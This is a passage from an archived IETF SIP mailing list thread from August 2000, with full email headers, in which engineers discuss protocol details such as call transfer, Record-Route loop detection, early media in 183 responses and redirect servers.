everyone >from producing a proprietary means to request a >"transfer", "multi-party", or >"establish additional unrelated call" when >sending the REFER. > >Please give example of headers for how the >Transferee knows to switch, second line, or >multi-party the INVITE from the Transfer Target >within 6.2.2 without presenting it the user to >decide. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 23 21:13:53 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA25150 for <sip-archive@odin.ietf.org>; Wed, 23 Aug 2000 21:13:53 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3C46C44351; Wed, 23 Aug 2000 21:13:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 1152644336 for <sip@lists.bell-labs.com>; Wed, 23 Aug 2000 21:13:25 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id SAA21647; Wed, 23 Aug 2000 18:13:41 -0700 (PDT) Received: from buckthorn-nt (dhcp-171-69-93-137.cisco.com [171.69.93.137]) by imop.cisco.com (Mirapoint) with ESMTP id AAB31589; Wed, 23 Aug 2000 18:13:22 -0700 (PDT) Message-Id: <4.2.0.58.20000823180745.00bc89d0@imop.cisco.com> X-Sender: rmahy@imop.cisco.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 23 Aug 2000 18:10:38 -0700 To: Henning Schulzrinne <schulzrinne@cs.columbia.edu> From: Rohan Mahy <rohan@cisco.com> Subject: Re: [SIP] Simplify SIP Cc: Bertil Engelholm <Bertil.Engelholm@uab.ericsson.se>, sip@lists.bell-labs.com In-Reply-To: <39A059B8.7FF352DB@cs.columbia.edu> References: <65256941.003CBD07.00@sampark.hss.hns.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Hi, I think the proposal was: "implementations SHOULD send in canonical format", or "sending in canonical format is RECOMMENDED". These are both backward compatible. Receiving torture cases would still be in the spec. thanks, -rohan At 03:20 PM 8/20/00 , Henning Schulzrinne wrote: >May I suggest that any proposals that mention simplification that is not >backward-compatible have the burden of proof showing that > >- the collective effort spent discussing is less than the collective >effort coding them? > >- substantially increases overall call processing speed (not just >parsing speed), where substantially is at least a few months of Moore's >law processor speed-ups? > >It's clearly a good idea to send in canonical form (and already >encouraged for various encryption/authentication-using requests), but >the old "be liberal in what you accept" policy has advantages. After >all, these same rules on spacing and line folding have not exactly kept >email and HTTP from becoming popular or from scaling to very large >message volumes. > >My guess would be that for a C/assembly-based optimized parser, extra >spaces have essentially no dynamic cost and modest static cost in table >space for the state transitions. Line folding probably has a >one-if-statement/line cost. (The major cost of additional spaces will be >copy costs, but those are only incurred by non-canonical senders. I >expect high-volume senders to be canonic senders, just as for email.) > > > > > > > > > > > > According to the SIP specification (chapter 13.2 in rfc2543bis-01) > > > > the canonical representation restricts the SIP syntax in this way : > > > > > > > > * No short form header fields; > > > > * Header field names are capitalized as shown in the rfc; > > > > * No white space between the header name and the colon; > > > > * A single space after the colon; > > > > * Line termination with a CRLF; > > > > * No line folding; > > > > * No comma separated lists of header values; each must appear as a > > > > separate header; > > > > * Only a single SP between tokens, between tokens and quoted strings, > > > > and between quoted strings; no SP after last token or quoted string; > > > > * No LWS between tokens and separators, except as described above for > > > > after the colon in header fields; > > > > * The To and From header fields always include the < and > delimiters > > > > even if the display-name is empty. > > > > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 00:03:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA28723 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 00:03:46 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8704C44353; Thu, 24 Aug 2000 00:03:26 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 4D84244336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 00:03:23 -0400 (EDT) Received: from dynamicsoft.com (1Cust229.tnt1.freehold.nj.da.uu.net [63.17.113.229]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA29610; Thu, 24 Aug 2000 00:05:05 -0400 (EDT) Message-ID: <39A49E2D.640CFF1F@dynamicsoft.com> Date: Thu, 24 Aug 2000 00:01:49 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Rohan Mahy <rohan@cisco.com> Cc: Brett Tate <brett@broadsoft.com>, SIPbell-labs <sip@lists.bell-labs.com>, rsparks@dynamicsoft.com Subject: Re: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions References: <053b01c00bfd$062fc800$3202a8c0@broadsoft.com> <39A2A100.8665D71A@dynamicsoft.com> <4.2.0.58.20000823172548.00ca8840@imop.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Rohan Mahy wrote: > > Hi, > > Let me try and rephrase Brett's question. Let's assume the following scenario: > > A sends REFER to B with a Refer-To: <C> > B sends an INVITE to C with Referred-By: <A> > > When C receives an INVITE with a Referred-By header, how does C know > whether to: > a) accept this INVITE as a new call, This is the case when the Call-ID is unknown. > b) accept this INVITE as a replacement for another call leg, or I assume you are talking about the now-defunct Replaces: function? I believe now that this function is quite a complex one and something that merits much more discussion before deciding if its needed. > c) accept this INVITE as new party in an existing call ?? Known call-id. > > The semantics aren't well-defined yet. The draft just mentions that you > can include a call-id in the refer-to or referred-by URL. It doesn't say > what that would mean or what you should do with it. Thats something that needs to be addressed in the bis draft. It needs to say what it means to receive a call from a different party but with the same call-ID as an existing call. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 01:37:47 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03309 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 01:37:46 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 21F5D44354; Thu, 24 Aug 2000 01:37:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 9E31344336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 01:37:13 -0400 (EDT) Received: from dynamicsoft.com (1Cust229.tnt1.freehold.nj.da.uu.net [63.17.113.229]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA29809; Thu, 24 Aug 2000 01:35:08 -0400 (EDT) Message-ID: <39A4B348.2EEF590F@dynamicsoft.com> Date: Thu, 24 Aug 2000 01:31:52 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jo Hornsby <jhornsby@ubiquity.net> Cc: Loita Jahnsson <Loita.Jahnsson@uab.ericsson.se>, sip@lists.bell-labs.com Subject: Re: [SIP] more on Record-Route and Loop-Detection References: <000501c00cf7$3c4da1f0$4e34c3c1@ubiquity.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jo Hornsby wrote: > > > > > Finally Jo has pointed out to me that maybe the spec also > > > > wants to say that a server MUST NOT add itself more than > > > > once into the Record-Route. Otherwise this could happen on > > > > a 'legal' loop and the subsequent requests on the call leg > > > > fail due to an illegal loop being created. > > > > > > Interesting. This would only happen in the reverse path, since its > > > only in that case that the request URIs are the same (denoting > > > a loop as opposed to a spiral). Its a problem, > > > though, since the proxy really may need to record-route both times. > > > The solution might be some URI parameter just used as a differentiator. > > > A different value for this parameter would be inserted in each > > > Record-Route. > > > This would be popped into the request URI. Since the request URI > > > is then > > > different for both, the hashes to compute the branch ID parameter are > > > different, and this shows up as a spiral. > [...] > > A picture to illustrate it (INV means INVITE) > > > > > > --------- -------- -------- > > | a@c1 | -- INV u1@p1 --> | | -- INV u2@p2 --> | | > > --------- (contact a@c1) | | | | > > | p1 | | p2 | > > --------- | | | | > > | b@c2 | <- INV b@c2 ---- | | <- INV u3@p1 --- | | > > --------- -------- -------- > > > > > > When b@c2 creates it's Route entry it will, according to the > > spec, fill in a@c1 as URI for all the Route-entries, which > > is practice means that if b@c2 issues a BYE request, it will > > have the same request-URI both times p1 is visited (illegal > > loop). > > > > Obviously the problem is recognized, but shouldn't it be solved? > > My view is that the spec should say that a proxy is not allowed > to add itself more than once in a Record-Route path; I'm struggling > to see why it would be useful for a proxy to be present more than > once. No. I do not like this. When a request spirals, its arrival at the proxy the second time is a completely separate transaction; it has no real bearing on the first time around. For reasons of logging, features, and applications there are many reasons why you would want to record-route the second time - the same reasons you wanted to do it the first time. I actually proposed a set of possible solutions in slides I put together for Pittsburgh IETF, but never got around to discussing. THe slides are at: http://www.softarmor.com/sipwg/meets/IETF48/slides/pres-rosenburg-sipwg_jul00_listissues.ppt Anyway, the solution I like best is the following: don't check for loops in the case where there are Route headers. A little ugly, I admit, as it creates an interaction between two components. > > > It is suggested that "some URI parameter" should be introduced, > > but why not keep the original Request-URI-values from the > > original Record-Route information? > > > > The spec says (6.34.2): " ... Since the URIs contained in the > > Record-Route header fields are not useful for the reverse request > > path, the UA fills all other components of the Route name-addr > > value with the name-addr value found in the Contact or the From > > field. ..." > > > > This operation seems completely pointless to me, the spec might > > as well say: since the URIs are not useful, the UA should fill > > all other components with DonaldDuck@Disneyland. Its like saying > > "since this information is useless, we exchange it with another > > piece of useless information". > > I don't think that's quite fair. Putting the Contact/From address > in does vaguely make sense, because it indicates the ultimate > recipient of the message. (One could imagine the chain of proxies > somehow breaking, but healing itself using this information.) It maintains the fundamental principle that the request URI indicates for whom the request is destined. By relying on Route headers to get the request there, even though the request URI says something completely difference, makes the operation of the protocol brittle. We have seen this at bakeoffs - loops often occur if any proxy has anything slightly wrong with their route processing. > > However, this has been slightly broken by the fact that the port > (in the Contact/From) is now corrupted by the proxy port. This is > a shame. And insofar as that is true, I might concede to Mr. Duck. &:) I agree that we have abused the port number and maddr parameters. This is because the initial work on record-route really focused on the forward direction, and made the incorrect assumption that the URi sequence could always be used to reconstruct the proxy server sequence. As we have gradually realized the fallacy of these assumptions, we have had to work this fix in in a backwards compatible manner. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 02:09:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA11831 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 02:09:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 89F2644361; Thu, 24 Aug 2000 02:08:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id EB42544336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 02:08:34 -0400 (EDT) Received: from dynamicsoft.com (1Cust229.tnt1.freehold.nj.da.uu.net [63.17.113.229]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA29852; Thu, 24 Aug 2000 02:10:14 -0400 (EDT) Message-ID: <39A4BB82.19559938@dynamicsoft.com> Date: Thu, 24 Aug 2000 02:06:58 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brett Tate <brett@broadsoft.com> Cc: Cliff.Harris@nokia.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB757A@oteis01nok> <049e01c00ba3$adadfed0$3202a8c0@broadsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Brett has asked for a clear semantic to the inclusion of SDP in 183. Here is my proposal. To keep ourselves sane, and to simplify life, I would propose that the semantics of SDP in 183 be identical to those if the SDP were returned in a 200. The difference is only in the call state; 200 OK means the call is established, 183 (or any 1xx) means progress. Based on this rule, SDP in the 183 with a 0.0.0.0 line means that the UAS does not want to receive, just send audio. Classic one way cut through. SDP in the 183 with a non-zero IP address and port means that bidirectional audio is allowed; the UAC should send whatever the user is saying. Of course, any good implementation will let the user know that this is happening. Someone pointed out that bidirectional audio before call acceptance doesn't work in ISUP. How, in this case, are things like calling card numbers, etc. which require DTMF collection before call completion, handled? This also answers the question about turning off media stream. Same as how re-INVITEs work. If you want to turn it off, return an SDP in another 1xx with that m line set to port zero. Sending a 1xx later with no SDP has the same effect as a re-invite with no SDP (which means no change in session state at all). -Jonathan R. Brett Tate wrote: > > ----- Original Message ----- > From: <Cliff.Harris@nokia.com> > To: <brett@broadsoft.com>; <rfairlie@nuera.com>; <sip@lists.bell-labs.com> > Sent: Monday, August 21, 2000 11:16 AM > Subject: RE: [SIP] Remote ringback. > > > > > > -----Original Message----- > > > From: EXT Brett Tate [mailto:brett@broadsoft.com] > > > Sent: Thursday, August 17, 2000 1:19 PM > > > To: Fairlie-Cuninghame, Robert; sip@lists.bell-labs.com > > > Subject: Re: [SIP] Remote ringback. > > > > > > [ . . . ] > > > > > > If A receives 18x with SDP from B, can/should A start sending to B? I > > > assume no for 180 and yes for 181, 182 and 183 but I have not found it > > > explicitly stated anywhere. > > > > Am I reading this wrong? Surely any 18x with SDP from B to A means that B > > will be sending one-way audio and A cannot send audio to B??? > > I agree if B uses 0.0.0.0 as a connection address. However if B uses a > valid > connection address, I have not explicitly seen in rfc2543 how A should > handle > it. I think that there is a potential concerning a 182 for A to pass inband > DTMF > to move up in the queue. > > I also foresee the same sort of DTMF possibility concerning a 181. It could > be > used concerning calling-verses-forwarding billing acceptance, to pick a > forwarding > location, or to allow an attempt to bypass the forwarding. > > I also foresee using the same sort of DTMF possibilities with a 183. The > user could > select various options relating to the "special announcement". > > I agree that the thought of two way media being established before 200/ACK > seems strange. But I think that one way media is just as strange though > useful > from a PSTN perspective. > > > > > > > > > There were some test cases that I was hoping to test at the > > > bakeoff, but > > > didn't get the chance. Text relating to the test cases may > > > be useful in the > > > rfc. > > > > > > - A invites B. B replies 180 with SDP. B then replies 180 > > > without SDP. > > > Expected result: A should start providing local ringback. > > > > > > > I would disagree with this for a few reasons: > > 1. In the case of PSTN interoperability, once the remote end starts > sending > > one-way audio, the remote end has to continue sending one-way audio until > > the call is either answered or disconnected. (E.g., in ISDN, a PROGRESS > with > > no indicator for cut-through audio doesn't mean the far end has stopped > > sending cut-through audio.) > > It does if the proxy CANCEL B that provided remote media, and proxy INVITE C > which does not provide remote media. > > > 2. Certainly in the case of 183, there may be attachments other than an > SDP > > attachment, so receiving no SDP should not mean "stop receiving audio", > and > > it would not be good if the interpretation of attachments were different > for > > 180 than for 183. > > 3. Unless PRACKs are being used, A doesn't know whether the 180's have > been > > received out of order. (Which isn't really much of an objection, given > that > > B may send a new 180 with a different codec, but still, B should be > required > > to explicitly state that there is no more audio; see next point.) > > I completely agree the PRACKs are the means to help ensure order. However > if PRACK is not used, only reception order or Date can be used. > > > 4. In an INVITE, the absence of an SDP attachment doesn't mean "create a > > session with no media". So if B wants to stop sending cut-through audio, > it > > should send a 180 with an SDP attachment without an "m=" line. Then the > SDP > > attachments in the 180 and the INVITE would work the same way. (And it > would > > still be possible for B to tell A to start providing local ringback, > despite > > the rather weak first point.) > > This is one way to do it; I'm not sure if it is the best way. However my > main > point is to hopefully get rfc2543 to clearly state what 18x means when used > in a variety of test flows. I think that a 180 without SDP could/should be > used for clarity from a normal 180 with/without SDP perspective. However > if the working group wants to do some sort of media alignment, connection > address, media port means to resolve the issue, I won't protest. > > Just seeking clarity and resolution. > > -Brett > > > > > > - A invites B with multiple codecs. B replies 180 SDP with > > > codec 0; then B > > > replies 180 SDP with codec 2. Expected result: A should stop > > > using codec 0 > > > and start using codec 2. > > > > > > > Agree. > > > > > - A invites B. A forking proxy was involved. A forking > > > proxy returned two > > > 18x with SDP and different "TO" tags. Should the received > > > media be mixed? > > > I assume no until maybe after having received a 200 on one > > > of the legs. > > > > > > > > > [ . . . ] > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 05:09:40 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA13262 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 05:09:39 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D1E5844365; Thu, 24 Aug 2000 05:09:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 67D2F44336 for <SIP@lists.bell-labs.com>; Thu, 24 Aug 2000 05:08:59 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id KAA24941; Thu, 24 Aug 2000 10:06:32 +0100 (BST) From: "Jo Hornsby" <jhornsby@ubiquity.net> To: "Garret Wilson" <garret@globalmentor.com>, "SIP List" <SIP@lists.bell-labs.com> Subject: RE: [SIP] sending requests to proxy servers and registrars Date: Thu, 24 Aug 2000 10:06:31 +0100 Message-ID: <000e01c00daa$985b3710$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <001901c00c6d$fbac1020$1bdd4240@sfmissn1.sfba.home.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, > There's a small thing I don't understand about calling proxy servers and > registrars. I'm sure there's some small thing which I'm missing, and if > anyone can clear it up I'd appreciate it. > > alice@example1.com wants to call bob@example2.com (who is really now at > example3.com) using Registrar (which is both a Registrar and Redirect > Server). I think it's important to stress the fact that "Registrar" and "Redirect Server" are Logical Roles. In this case, it is irrelevant that this SIP entity also functions as a Registrar, since we are only talking about INVITEs. > If Alice wants to call Bob using a Registrar, Alice will send INVITE > bob@example2.com but will specify that the Registrar should be used > as a proxy. Therefore, the INVITE command will be sent to > registrar.com instead of bob@example2.com. Let's see if I'm interpreting this correctly: you're imagining a case where you have I guess the notion of an "outbound redirect server"? > The Registrar's reaction is straightforward: send Alice a 302 Moved > Temporarily t(bob@example3.com). Alice's UAC will then attempt to INVITE > bob@example3.com -- but since the Registrar is set as the proxy, Alice's > INVITE will go back to registrar.com, not to bob@example3.com. Yes. This is going to be a problem, and I think the end result will show that an "outbound redirect server" will not work in general. But let's explore some scenarios: 1) Alice's UAC could try the Redirect Server again for bob@example3.com, whereupon the Redirect Server will return perhaps an IPv4 address (i.e., if the Redirect Server finds no registrations for some URL, it just tries to do the magic in section 1.4.2 of the spec). Since this is an IP address, Alice's UAC can try to contact Bob's UAS directly. 2) Alice's UAC could always try the Redirect Server first, and then subsequent attempts (possibly using results returned from the Redirect Server), do not use the Redirect Server. 3) Alice's UAC could try the Redirect Server based on some sort of rules; say for any addresses in the same domain. I don't think that 1) is feasible, since you lose a lot of information. (One could easily imagine a situation where a proxy serves a number of domains, and this proxy can be discovered through SRV. The moment you do the IP thing, the proxy has a near-useless Request-URI.) 2) is certainly possible, but perhaps in a lot of cases utterly pointless. Your use of "registrar.com" makes me think that this is some sort of service -- it's going to have to have a _huge_ database to be of any use (I wouldn't consider returning the same SIP URL queried much of a service). 3) I can imagine as the most likely. If Alice wants to call someone in example1.com, her UAC uses the example1.com Redirect Server, else the UAC does the normal 1.4.2 discovery, or perhaps uses example1.com's Proxy Server. > At the last step, I would want Alice's UA to contact bob@example3.com, > but does this mean I have to disable the proxy setting? If I do so, > then how does Alice's request to bob@example2.com get to the Registrar > in the first place to be redirected? > > What am I missing here? What is the correct way to use a Registrar? You mean "Redirect Server"? &:) If you had Vendor X's UAC, which could be configured to use an "Outbound Proxy", there is no way that you could set that to use a Redirect Server as its Outbound Proxy. This is because it will _always_ (by spec definition) try to route through the Outbound Proxy. I would imagine that dedicated Redirect Servers are typically more useful when situated "behind" Proxies. HTH, - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 05:17:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA13321 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 05:17:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id ED76B4436C; Thu, 24 Aug 2000 05:15:43 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id EAEDF44336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 05:15:39 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7O9FTp21068; Thu, 24 Aug 2000 11:15:29 +0200 (MEST) Received: from uabx04c148.uab.ericsson.se.uab.ericsson.se (uabx04c148 [134.138.228.163]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7O9FJT04589; Thu, 24 Aug 2000 11:15:20 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c148.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id LAA15376; Thu, 24 Aug 2000 11:15:19 +0200 (MET DST) Message-ID: <39A4E7A3.D07046E0@uab.ericsson.se> Date: Thu, 24 Aug 2000 11:15:15 +0200 From: Loita Jahnsson <Loita.Jahnsson@uab.ericsson.se> Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: Jo Hornsby <jhornsby@ubiquity.net>, sip@lists.bell-labs.com Subject: Re: [SIP] more on Record-Route and Loop-Detection References: <000501c00cf7$3c4da1f0$4e34c3c1@ubiquity.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi Jo, Thanks for your answer. I would like to discuss and clarify my point of view a bit further. > > A picture to illustrate it (INV means INVITE) > > > > > > --------- -------- -------- > > | a@c1 | -- INV u1@p1 --> | | -- INV u2@p2 --> | | > > --------- (contact a@c1) | | | | > > | p1 | | p2 | > > --------- | | | | > > | b@c2 | <- INV b@c2 ---- | | <- INV u3@p1 --- | | > > --------- -------- -------- > > > > > > When b@c2 creates it's Route entry it will, according to the > > spec, fill in a@c1 as URI for all the Route-entries, which > > in practice means that if b@c2 issues a BYE request, it will > > have the same request-URI both times p1 is visited (illegal > > loop). > > > > Obviously the problem is recognized, but shouldn't it be solved? > > My view is that the spec should say that a proxy is not allowed > to add itself more than once in a Record-Route path; I'm struggling > to see why it would be useful for a proxy to be present more than > once. As Jonathan implies, there are cases where you would like to do this when making proxies which controls services, firewalls, whatever. As another example (I don't know if it's a good one, but anyway) where proxy "p1" in my picture would need to Record-Route itself both times, you could imagine p1 having two ethernet interfaces. c1 & c2 are on a local network (10.0....), which is reached through one of the interfaces. p2 are on a wider network (xxx.xxx.xxx.xxx), reached through the other interface. If we would do what you suggest, the Record-Routing chain would be p1 - p2 and b@c2 would construct a Route path which would be p1 - p2 - c1. (According to the spec today it would have been p1 - p2 - p1 - c1). When the BYE request from b@c2 is proxied based on your proposed path, and arrives at p2 it wouldn't find it's way directly to c1 since c1 is located at the local network behind p1. > > This operation seems completely pointless to me, the spec might > > as well say: since the URIs are not useful, the UA should fill > > all other components with DonaldDuck@Disneyland. Its like saying > > "since this information is useless, we exchange it with another > > piece of useless information". > > I don't think that's quite fair. Putting the Contact/From address > in does vaguely make sense, because it indicates the ultimate > recipient of the message. (One could imagine the chain of proxies > somehow breaking, but healing itself using this information.) > > However, this has been slightly broken by the fact that the port > (in the Contact/From) is now corrupted by the proxy port. This is > a shame. And insofar as that is true, I might concede to Mr. Duck. &:) Well. Maybe I exhaggerated a bit, in a lame attempt to pull a joke ;) I would like to discuss this further, though, because I still think my proposal is OK. About repairing broken proxy chains; whether this is reasonable or not; consider our small example network above, and we're just about to proxy the BYE request from b@c2 to a@c1. Then suddenly, we can't contact the next proxy in our chain, and we would like to use the request-URI to find out our final destination. Assuming the final destination is reachable, we would have use for the information in the Request-URI, and we are far better off with than information than an address to Mr. Duck ;) Ok, but even if the request-URI actually states Mr. Duck, you will find the final recipient in the Route- path anyway, if you would like to make an attempt to contact that recipient directly. Also if a chain of proxies are recorded, you would maybe like to bypass "as few as possible" using the Route information to try to contact "the closest reachable" all the time. There is really no need for information about the final recipient to be duplicated in the request-URI as well. To me, it's also rather unclear to what extent you would like to try this kind of by-passing of proxies, which insists in being in the chain. I guess, if a proxy insists of being in the proxy chain, it has some reason to do so. Maybe it does stuff that are essential for the session. If such a proxy "dies", and you happens to be successful when bypassing it (and maybe several others), it is undefined to me how much the session really is "healed". > > > Obviously the original Request-URI information from the > > Record-Route wouldn't be completely useless in Route for the > > scenario above. If we were using the original URIs from Record- > > Route instead we wouldn't have a problem. And those URIs > > are no more fake information than the one stated in the spec. > > The original Request-URI information _is_ useless for the reverse > request path. For example, from your diagram, although u1@p1 > maps to u2@p2, it in no-way implies that u2@p2 maps to u1@p1 (which > I think is what would have to happen for the Request-URIs to > make sense in reverse; something like that, anyway). > OK. I agree completely, that the request-URI is useless for the actual routing decision, when you route based on the Route header. Thats why I joked about putting useless information such as godzilla@tokyo.com in the Request-URI ;) But even though the original information is equally useless for the actual routing decision, I think it is useful for loop 